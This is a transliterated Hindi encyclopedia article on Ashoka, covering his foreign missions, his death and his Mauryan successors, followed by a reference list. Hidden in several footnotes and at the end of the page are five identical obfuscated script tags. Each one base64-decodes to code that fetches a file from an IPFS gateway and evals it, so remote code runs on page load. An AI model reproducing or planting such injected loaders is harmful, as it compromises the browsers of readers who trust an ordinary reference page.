dhamm prachar evan dhamm vijay ke sandarbh mean ashok ke shilalekhoan mean kuchh aise vivaran bhi milate haian, jinamean usake evan videshoan ke parasparik sambandhoan ka abhas milata hai. ye sambandh kootaniti evan bhaugolik sannidhy ke hitoan par adharit the. ashok ne jo sampark sthapit kie ve adhikaanshatah dakshin evan pashchim kshetroan mean the aur dhamm mishanoan ke madhyam se sthapit kie the. in mishanoan ki tulana adhunik sadabhavana mishanoan se ki ja sakati hai. ashok ke ye mishan sthayi taur par videshoan mean ek ashcharyajanak tathy haian ki stanbh abhilekh nan. 7, jo ashok ke kal ki akhiri ghoshana mani jati hai, tamraparn, shrilanka ke atirikt aur kisi videshi shakti ka ullekh nahian karati. shayad videshoan mean ashok ko utani saphalata nahian mili jitani samrajy ke bhitar. phir bhi itana kaha ja sakata hai ki videshoan se sampark ke jo dvar sikandar ke akraman ke pashchath khule the, ve ab aur adhik chau de ho ge.

nidhan

is bat ka vivaran nahian milata hai ki ashok ke karmath jivan ka aant kab, kaise aur kahaan hua. tibbati parampara ke anusar usaka dehavasan takshashila mean hua. usake ek shilalekh ke anusar ashok ka aantim kary bhikshusangh me phoot dalane ki nianda karana tha. sambhavat: yah ghatana bauddhoan ki tisari sangati ke bad ki hai. sianhali itihas granthoan ke anusar tisari sangiti ashok ke rajyakal mean pataliputr mean huee thi.[13]

uttaradhikari

40 varsh tak rajy karane ke bad lagabhag ee. poo. 232 mean ashok ki mrityu huee. usake bad lagabhag 50 varsh tak ashok ke anek uttaradhikariyoan ne shasan kiya. kintu in maury shasakoan ke sambandh mean hamara jnan aparyapt tatha anishchit hai. puran, bauddh tatha jain anushrutiyoan mean in uttaradhikariyoan ke namoan ki jo soochiyaan di gee haian ve ek-doosare se mel nahian khati haian.

  • puranoan ke anusar ashok ke bad 'kunal' gaddi par baitha. divyavadan mean use 'dharmavivardhan' kaha gaya hai. 'dharmaviverdhan' sambhavatah usaka viruddh tha, kintu ashok ke aur bhi putr the.
  • puranoan tatha nagarjuni paha diyoan ki gufaoan ke shilalekh ke anusar dasharath kunal ka putr tha. nagarjuni gufaoan ko dasharath ne ajivikoan ko dan mean diya tha. in pramanoan ke adhar par yah mat prastut kiya gaya ki magadh samrajy do bhagoan mean vibhakt ho gaya. dasharath ka adhikar samrajy ke poorvi bhag mean tatha sanprati ka pashchimi bhag mean tha.
  • vishnu puran tatha gargi sanhita ke anusar sanprati tatha dasharath ke bad ullekhaniy maury shasak salisuk tha. use sanprati ka putr brihaspati bhi mana ja sakata hai.
  • puranoan mean hi nahian varanh harshacharit mean bhi magadh ke antim samrat ka nam brihadrath diya gaya hai. inake anusar maury vansh ke antim samrat brihadrath ki, usake senapati pushyamitr ne hatya kar di aur svayan sianhasan par aroodh ho gaya.
ashok vishay soochi


maury kal
65px|link=| poorvadhikari
bindusar
ashok uttaradhikari
dasharath maury
65px|link=|

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panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. 1.0 1.1 yah dhyan dene yogy bat hai ki yadyapi ashok sarvochch shasak tha par vah apane ko sirph 'raja' shabd se nirdisht karata hai. 'maharaja' aur 'rajadhiraj' jaisi bhari-bharakam ya adambar-poorn upadhiyaan, jo alag-alag ya milakar prayukt ki jati haian, ashok ke samay mean prachalit nahian huee thian. 'ashok' | lekhak: di.ar. bhandarakar | prakashak: es. chand end kampani | prishth sankhya:6
  2. 'ashok' | lekhak: di.ar. bhandarakar | prakashak: es. chand end kampani | prishth sankhya:5
  3. 3.0 3.1 3.2 'ashok' | lekhak: radhakumud mukharji | prakashak: motilal banarasidas | prishth sankhya: 8-9
  4. dvijendr narayan jha, krishna mohan shrimali “mauryakal”, prachin bharat ka itihas, dvitiy sanskaran (hiandi), dilli: hiandi madhyam karyaanvay nideshalay, 178.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  5. mahatma buddh
  6. jisaka akhyan 'dipavansh' aur 'mahavansh' mean hua hai
  7. uttari paramparaoan ka susim
  8. mukharji, radhakumud ashok (hiandi). nee dilli: motilal banarasidas, 2.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  9. panini 6,3,21
  10. ee.poo. 350 sar ar. ji. bhandakar
  11. ee. poo. 150
  12. tattvabodhini aur balamanorama
  13. bhattachary, sachidanand bharatiy itihas kosh (hiandi). lakhanoo: uttarapradesh hiandi sansthan, 28.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • 'ashok' | lekhak: radhakumud mukharji | prakashak: motilal banarasidas
  • 'ashok' | lekhak: di.ar. bhandarakar | prakashak: es. chand end kampani
  • 'prachin bharat ka itihas' | lekhak: dvijendr narayan jha, krishna mohan shrimali | prakashak: dilli vishvavidyalay
  • 'maury samrajy ka itihas' | lekhak: satyaketu vidyalankar | prakashak: shri sarasvati sadan
  • 'bharat ka itihas' | lekhika: romila thapar | prakashak: rajakamal prakashan

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>